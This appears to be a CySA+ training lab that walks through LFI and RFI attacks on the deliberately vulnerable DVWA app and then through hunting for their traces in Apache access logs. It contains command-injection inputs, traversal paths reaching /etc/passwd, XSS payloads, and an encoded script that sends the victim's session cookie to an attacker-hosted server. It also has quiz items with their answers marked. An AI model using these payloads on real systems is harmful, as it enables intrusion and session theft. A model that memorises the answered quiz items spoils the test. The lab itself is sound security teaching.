Assisted Lab: Performing and Detecting LFI/RFI

Scenario

In this lab, you will perform LFI (Local File Inclusion) and RFI (Remote File Inclusion) attacks, then investigate the result.

File inclusion is the ability to automatically import or integrate a separate file into an HTML document when a visitor requests it. This mechanism is often used to have content used on many web pages stored in a single file. Therefore, if changes need to be made to that content, only a single file must be edited. However, unless it is properly configured to impose security, file inclusion can often be a weakness that is exploitable by hackers.

Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities are commonly encountered in inadequately coded web applications. Such vulnerabilities arise when a web application permits users to input data into files or upload files onto the server.

As a cybersecurity analyst, you are working to discover weaknesses and vulnerabilities that your organization, Structureality Inc., needs to mitigate throughout its internal network. In this lab, you will perform exploitation of LFI and then exploitation of RFI. Finally, you will investigate the website's logs for evidence and IoCs (Indications of Compromise) related to LFI/RFI exploitation.

Understand your environment

You will be working from a virtual machine named KALI, hosting Kali Linux, and a virtual machine named LAMP, hosting Ubuntu Server. You will initially use KALI to perform the attack targeting the DVWA website hosted on the LAMP VM, and then you will work from LAMP to perform the investigation.

Objectives

This activity is designed to test your understanding of and ability to apply content examples in the following CompTIA CySA+ objectives:

1.1 Explain the importance of system and network architecture concepts in security operations.

1.2 Given a scenario, analyze indicators of potentially malicious activity.

1.3 Given a scenario, use appropriate tools or techniques to determine malicious activity.

1.4 Compare and contrast threat-intelligence and threat-hunting concepts.

2.4 Given a scenario, recommend controls to mitigate attacks and software vulnerabilities.

3.2 Given a scenario, perform incident response activities.

3.5 Explain concepts related to attack methodology frameworks.

Perform LFI exploitation

An attacker can exploit LFI (Local File Inclusion) vulnerabilities to access and potentially execute files on the victim's computer. This presents a significant risk, particularly if the web server is poorly configured and operating with elevated privileges, as the attacker could potentially gain access to sensitive information. Additionally, if the attacker can inject code into the web server through alternative methods, they could potentially execute unauthorized commands.

In this exercise, you will function as an attacker locating an LFI vulnerability, then compromising a website through LFI exploitation.

DVWA or Damn Vulnerable Web Application is a safe and legal security playground that security professionals can use to improve their skills and learn tools and techniques related to web attacks and exploitations. DVWA is designed to be installed into a private (i.e., non-Internet) lab environment for internal use. Do NOT install DVWA on a production or an Internet-accessible system.

Connect to the KALI and sign in as root using Pa$$w0rd as the password.

Open Firefox by selecting its icon from the Kali Linux toolbar.

Maximize the Firefox window.

In the address field of Firefox, enter dvwa.structureality.com.

The initial page of DVWA is displayed along with the application's login fields. Type admin and password into the Username and Password fields, respectively, then select Login.

In a real-world situation, you would attempt to exploit any input field you discover. However, with DVWA, you must first log in to the application itself to access the attack target elements.

The Welcome to Dann Vulnerable Web Application! page should be displayed.

If you scroll to the bottom of any DVWA page, you will see a footer that indicates several values, including the security level. To change the security level, select DVWA Security from the left-side navigation menu bar, make a selection from the pull-down list, then select Submit. This lab assumes the default security level of Low.

In the left-side navigation menu bar, select File Inclusion.

The Vulnerability: File Inclusion page should be displayed.

Select the file1.php link.

A page is shown which includes the file1.php, which executes to display:

Hello admin

Your IP address is: 10.1.16.66

Notice the URL. It ends in "…?page=file1.php".

This indicates that the web page displayed includes the file1.php file.

Select back. This returns you to the original Vulnerability: File Inclusion page.

Select the file2.php link.

Notice the URL. It now ends in "…?page=file2.php".

Edit the URL so that it ends with …?page=file3.php, then press ENTER to retrieve that file.

You should see another example of file inclusion.

Edit the URL so that it ends with …?page=file4.php, then press ENTER to retrieve that file.

This is a prediction of a filename based on the previous three filename progression.

The security issue here is not that file inclusion is used but that its use is exposed through the URL. And that other values (local or remote) can be used in place of those intended by the web designer.

You should see a page rendered from the hidden file4.php file.

Knowing that you can access files through LFI that are not included in an existing hyperlink means you can potentially access other files on the web server. In the next section, you will use directory traversal (see Assisted Lab: Performing and Detecting Directory Traversal and Command Injection) to find other files to access.

Select Command Injection from the left-side navigation menu bar.

Command injection attacks were covered in Assisted Lab: Performing and Detecting Directory Traversal and Command Injection.

A local file inclusion attack often requires knowledge of local files and directories. This knowledge can be achieved by exploiting other weaknesses, such as command injection, directory traversal, or through trial and error (i.e., guessing). Remote file inclusion is not as dependent on victim configuration knowledge, as you can elect to direct the file inclusion to any external URL.

In the Enter an IP address: field, enter | ls -l ../../.

This should result in the display of a long listing of the contents of the directory (i.e., /var/www/dvwa.structureality.com/public_html/) that is two parent directories up from the current working directory of the Vulnerability: File Inclusion page (i.e., /var/www/dvwa.structureality.com/public_html/vulnerabilities/exec/).

In the output, you notice the directory named hackable.

In the Enter an IP address: field, enter | ls -lR ../../hackable.

What does the "R" parameter do in the ls command?

Reveals hidden files

Performs recursive display

Returns only readable files

Reveals only files associated with the current user

Congratulations, you have answered the question correctly.

In the output, notice fi.php in the ../../hackable/flags directory.

In the left-side navigation menu bar, select File Inclusion.

Edit the URL to end with …?page=../../hackable/flags/fi.php, then press ENTER to retrieve that file.

You should see a few silly quotes and --LINE HIDDEN :)--.

You decide to figure out what line was hidden.

Select Command Injection from the left-side navigation menu bar.

In the Enter an IP address: field, enter | cat ../../hackable/flags/fi.php to view the contents of the file.

Look through the displayed PHP code to find the hidden quotation.

What is the hidden quote that you can now see through the Command Injection exploit?

There is no do, there is only try.

Bond, James Bond.

Romeo, Romeo! Wherefore art thou Romeo?

My name is Sherlock Holmes. It is my business to know what other people don't know.

Congratulations, you have answered the question correctly.

While you can now see the missing quote #3, you can't see the quote #2 anymore. You suspect that something about the rendering of the PHP is causing a change between the file on the web server and the version displayed in the browser.

Open a Terminal window and maximize the window.

Enter the following command to download the fi.php file:

wget http://dvwa.structureality.com/hackable/flags/fi.php

This command should have the result of "'fi.php' saved".

The URL used here with wget is the simplified version based on the results of directory traversal. Otherwise, the URL would be http://dvwa.structureality.com/vulnerabilities/exec/../../hackable/flags/fi.php

Enter cat fi.php to view the contents.

You should see the snarky result of "Nice try ;-). Use the file include next time!".

Leave the Terminal window open and return to Firefox.

You need to obtain a text version of the contents of the fi.php file so that it will not be executed by the web client.

In the left-side navigation menu bar, select Command Injection.

In the Enter an IP address: field, enter | ls -l ../../hackable to determine the permissions of the directories with the hackable directory.

Notice that you, as a web visitor, are likely classified as a member of other, and thus do not have write permissions to the flags directory, but you do have write permissions to the uploads directory.

In the Enter an IP address: field, enter the following to make a copy of fi.php into fi.txt in the uploads sub-directory of hackable.

```
| cp ../../hackable/flags/fi.php ../../hackable/uploads/fi.txt
```

There will be no results confirming this operation.

In the Enter an IP address: field, enter | ls -l ../../hackable/uploads/ to see the files in this directory.

If your copy command (i.e., cp) worked successfully, you should see two files in this directory.

What two files are in the …/hackable/uploads directory? (Select two)

fi.php

dvwa_email.png

fi.txt

admin.jpg

Congratulations, you have answered the question correctly.

In the Enter an IP address: field, enter | cat ../../hackable/flags/fi.txt

Even when the fi.php is copied to fi.txt, it is still interpreted by the browser to hide something. You need to pull the file without rendering it in a browser display.

Change back to the Terminal window.

Enter the following command to download the fi.php file:

wget http://dvwa.structureality.com/hackable/uploads/fi.txt

This command should have the result of "'fi.txt' saved".

Enter cat fi.txt to view the contents.

Now you should see the original contents of the fi.php file, including the line 5 quote you had not seen before. Now you can see what was missing and why for each aspect of the fi.php file.

What are the explanations for why some parts of the fi.php file were not visible before extracting the fi.txt copy?

PHP is executed on the server, not shown to the browser from .php files.

HTML is rendered on the server before being sent to the client.

Javascript is being used to hide elements of the PHP file.

HTML comments are hidden by the browser from text files.

Congratulations, you have answered the question correctly.

Return to Firefox.

In the left-side navigation menu bar, select File Inclusion.

Edit the URL to end with …?page=../../../../../../etc/passwd then press ENTER to retrieve a file.

What is the point of the string "../../../../../../" in the previous exploit of file inclusion?

Use directory traversal to reach the root directory

Use command obfuscation to avoid keyword filters

Use special characters to avoid metacharacter escaping

Trick the system into granting access to the file using root privileges

Congratulations, you have answered the question correctly.

With the knowledge of the current working directory of

/var/www/dvwa.structureality.com/public_html/vulnerabilities/exec/ and with your general knowledge of Linux (specifically, Ubuntu Server, the website host OS), you are attempting to exfiltrate the usernames and account details.

You should see the contents of the /etc/passwd file.

Since the passwd file is not a PHP file, the remainder of the PHP inclusion code fails to run properly, so the typical content of this page will be incomplete.

At this point, you can experiment with locating and viewing other files. For example, you can use the Command Injection page to locate filenames and then use the File Inclusion page to view their contents.

On websites with a file inclusion flaw, you may also find a command injection flaw as well. However, when you are limited to file inclusion, you may need to guess directory and folder names to locate interesting data.

Leave Firefox open.

Check your work

Confirm that you discovered a local file inclusion vulnerability.

Confirm that you exploited local file inclusion to access unlinked files, view files from other directories, and view the contents of system files.

Performing remote file inclusion exploitation

RFI vulnerabilities are comparatively easier to exploit than LFI, though they occur less frequently. These vulnerabilities enable the attacker to execute code hosted on their own machine rather than accessing a file on the victim's computer.

In this exercise, you will function as an attacker compromising a website through RFI exploitation. These steps assume you performed the LFI exploitation and are simply ramping up the attack to RFI.

Connect to the KALI and, if needed, sign in as root using Pa$$w0rd as the password.

Switch to the Terminal window. Or open one if needed.

You need to set up a file to include from a remote system. In this situation, you will run a simple python web service on Kali to serve as the remote site from which the RFI will pull.

Enter echo ‘This is a test’ > index.html to create a blank default page for your attacker's website.

Enter python -m http.server 9999

This command launches a simple python-based HTTP service (i.e., web server), which will automatically display connection details. It runs on port 9999 instead of 80 (which is already in use by Apache).

You should see Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ….

Select the Score button to validate this task.

Local web server detected ...

Task complete

Firefox should be open and showing the Vulnerability: File Inclusion page of DVWA.

Expand this hint for guidance otherwise.

Open Firefox by selecting its icon from the Kali Linux toolbar.

Maximize the Firefox window.

In the address field of Firefox, enter dvwa.structureality.com.

The initial page of DVWA is displayed along with the application's login fields. Type admin and password into the Username and Password fields, respectively, then select Login.

The Welcome to Dann Vulnerable Web Application! page should be displayed.

In the left-side navigation menu bar, select File Inclusion.

On the Vulnerability: File Inclusion page, edit the URL to replace include.php so that the end of the URL is the following:

...?page=http://10.1.16.66:9999/

You should see the result of This is a test above the DVWA banner and left navigation menu as you did with the previous LFI exploits. This verifies that the site is vulnerable to RFI.

Open a new Terminal window.

You can't use the existing Terminal window because it is hosting the python web service. While you could terminate the python web service, then restart it later. It is easier to open a new Terminal window.

Enter the following:

```
echo ‘<script>alert(“You are hacked!”)</script>’ > index2.html
```

Enter the following:

```
echo ‘<script>alert(document.cookie)</script>’ > index3.html
```

Enter the following:

```
echo "<object data="http://dvwa.structureality.com/vulnerabilities/xss_r/?name=%3cscript%
3ewindow.location%3d%27http%3a%2f%2f10.1.16.66%3a9999%2f%3fcookie%3d%27%
2bdocument.cookie%3c%2fscript%3e\" > index4.html
```

This is a very tedious command to type in. You can skip the creation of index4.html. But you will then need to skip the related sections later in this exercise and at the end of the investigation exercise.

You can create and edit index4.html using the Kali Text Editor or the CLI tools of vim or nano. You can also view the contents of the file once created using cat index4.html

Return to Firefox.

From the index.html results page, edit the URL so that it ends with the following:

```
...?page=http://10.1.16.66:9999/index2.html
```

A pop-up window should display You have been hacked!. Select OK to close the pop-up window.

From the index2.html results page, edit the URL so that it ends with the following:

...?page=http://10.1.16.66:9999/index3.html

A pop-up window should display your session cookie. Select OK to close the pop-up window.

If you created index4.html, perform this step. Otherwise, skip to the next step.

From the index3.html results page, edit the URL so that it ends with the following:

...?page=http://10.1.16.66:9999/index4.html

An error message will appear above the DVWA banner.

Switch to the first Terminal window where the python web service is running.

You should see several GET statements related to index*, with a final GET statement showing the session ID of the victim (if you attempted to access index4.html).

Notice that this is the same type of attack performed in the XSS lab, but this is accomplished through an RFI exploit instead of a phishing email link click.

Check your work

Confirm that you exploited remote file inclusion.

Confirm that you used RFI to display a test message, trigger an alert pop-up window, and display a victim's session ID in a pop-up window.

Confirm that you implemented an XSS attack through RFI to steal a session ID.

Investigating file inclusion

A threat intelligence subscription service has just released a threat alert for a new LFI and RFI attack against a web application. Unfortunately, the threat alert relates to a web application that is running on the company website. There are no reports of issues or downtime associated with the web service so far. However, as a proactive cybersecurity analyst, you decide to perform threat hunting to see if you can detect any of the threat alert's IoCs or discover other evidence of a compromise or abuse of the website.

In this exercise, you will investigate the logs of the company's website to see if you can find evidence or IoCs of LFI and/or RFI.

Connect to the LAMP virtual machine and sign in as lamp using Pa$$w0rd as the password.

Elevate to use root privileges by entering: sudo su and then entering Pa$$w0rd as the password.

Enter cd /var/log/apache2 to change into the apache2 log directory.

Enter ls -l to view the log filenames, sizes, and timestamps.

Enter less access.log to view the website's access.log. Look over the log for anything interesting.

When using the less file viewing utility, press the spacebar to view the next page. You can return to a previous page using b or scroll one line up or down utilizing the arrow keys.

You need to 'ignore' the directory path element of "/vulnerabilities/fi/" as this is the obvious name of the HTML document on the DVWA (Damn Vulnerable Web Application) that is designed to demonstrate LFI/RFI. In a real-world situation, you will not see the terms "fi, lfi, or rfi" in the logs. LFI & RFI attacks are usually more subtle than that.

The Apache web server access log has two default log formats. The Common Log Format includes the following seven default fields:

IP address of the client

The identity of the client, but typically presented as only a hyphen (i.e., -)

User ID of requesting user, but will be a hyphen when there is no established user context

Date and time of the request (in square brackets)

The HTTP request type (i.e., GET, POST, etc.) and the resource being requested

The HTTP response status code

The size of the object returned to the client

The Combined Log Format includes the following two additional fields:

The HTTP referrer (i.e., the address from which the request for the resource originated.)

The User Agent of the client, which identifies information about the browser that the client is using to access the resource.

It is also possible to customize the fields of the Apache logs.

In this exercise, Apache is configured to use the Combined Log Format. Note: The User ID is a hyphen in the access.log for this exercise because when using the DVWA as the target, while you must log in as admin to access the vulnerable applications of the demo service, you are not using a user account or active login on most of the demonstration sub-pages.

...less

The threat alert provided details about the target of the LFI/RFI attacks. The primary IoC observable is related to the specific web page of the application, which is vulnerable to attack. That specific URL is presented below. Starting from the top of the access.log file (i.e., the oldest entry in the log), look down through the entries to find the one with the following as its HTTP request:

"GET /vulnerabilities/fi/?page=include.php HTTP/1.1"

HTTP referrers are not typically relevant to LFI/RFI investigations. Mostly because most of the records of LFI/RFI in the website's logs will not have a referrer. Instead, you will see "-" in the position after the object size. This dash indicates a direct request for an object without it originating from another page.

The presence of this URL in the access.log is not automatically proof of an LFI/RFI attack occurring, but simply the focus point to start looking for evidence of the attack related to this page.

Look further down the log entries to locate the next HTTP request where another page was referenced for inclusion.

There should be three files pulled as inclusion pages in the access.log which were coded as part of the website with direct hyperlinks. What are those page names? (Select three)

file1.php

file2.php

file3.php

file4.php

Congratulations, you have answered the question correctly.

Another IoC observable from the threat alert suggested that it is common to find inclusions pulling hidden local pages which are predicted from naming conventions. Looking further in the access.log, you should see a record with the following HTTP request:

```
"GET /vulnerabilities/fi/?page=file4.php HTTP/1.1"
```

This is not a file that is coded into the website with a direct hyperlink. While it is a file on the file system of the web server, it was hidden by not being linked to. You have now identified evidence that your website was subjected to the LFI attack disclosed in the threat alert.

While continuing to look through the acces.log, you see a series of HTTP requests of the following:

```
"GET /vulnerabilities/exec/ HTTP/1.1"
```

There is no specific document or page referenced in these multiple entries. It seems very odd that a visitor would reload the same URL so many times. You visit the web page and see that it is just a form field requesting the input of an IP address. You realize that form fields are not always filtered properly, and it is possible that command injection could be taking place.

Look at the next log record's HTTP request of:

```
"GET /vulnerabilities/fi/?page=../../hackable/flags/fi.php HTTP/1.1"
```

Based on this HTTP request, what do you think was taking place with all of the prior references to /vulnerabilities/exec/?

Directory and folder discovery

Network probing

Privilege escalation

SQLi

Congratulations, you have answered the question correctly.

Look further into the access.log, and locate a record with the following HTTP request:

"GET /vulnerabilities/fi/?page=../../hackable/uploads/fi.txt HTTP/1.1"

This record will be after another series of HTTP requests related to /vulnerabilities/exec/. Then is followed by a record with the following HTTP request.

"GET /vulnerabilities/fi/?page=../../hackable/uploads/fi.txt HTTP/1.1"

This pattern may help you deduce that the attacker is attempting to view the contents of the fi.php file but was not able to view the original code through the original browser they were using (i.e., Firefox).

What is the user agent for this record?

Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50

Wget/1.21.3

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Congratulations, you have answered the question correctly.

Continue to look through the access.log until you see the HTTP request of:

"GET /vulnerabilities/fi/?page=../../../../../../etc/passwd HTTP/1.1"

This is further evidence of a malicious entity using LFI against your website. With this request, they have exfiltrated details about user accounts.

Continue looking through access.log to find evidence of an RFI.

Which of the following is the clearest evidence of an RFI exploit? (assume these are the final parts of a log record's HTTP request)

...?page=../../../../../../etc/shadow

...?page=http://10.1.16.66:9999/

...?page=rm+-r+/

...?page=../../hackable/flags/dvwa_email.png

Congratulations, you have answered the question correctly.

You should see several examples of RFI to various pages on the 10.1.16.66 website, such as index2.html, index3.html, and possibly index4.html.

If you created and accessed the index4.html, there will be an additional log record following the RFI record pulling index4.html, which shows an HTTP request including a reflected XSS attack URL.

You should notice that attacks are often not limited to a single easy-to-define and label form of exploit or abuse. In this lab, you have seen LFI combined with command injection and directory traversal. You have also seen RFI combined with XSS. As you perform investigations, you may need to be on the lookout for a wide range of IoCs and evidence for any number of exploit and attack TTP (tactics, techniques, and procedures).

When finished looking over the access.log, type q to exit the less viewer.

Check your work

Confirm that you used IoC observable details from a threat alert to perform threat hunting.

Confirm that you discovered IoC observables of LFI attacks.

Confirm that you found evidence of RFI attacks.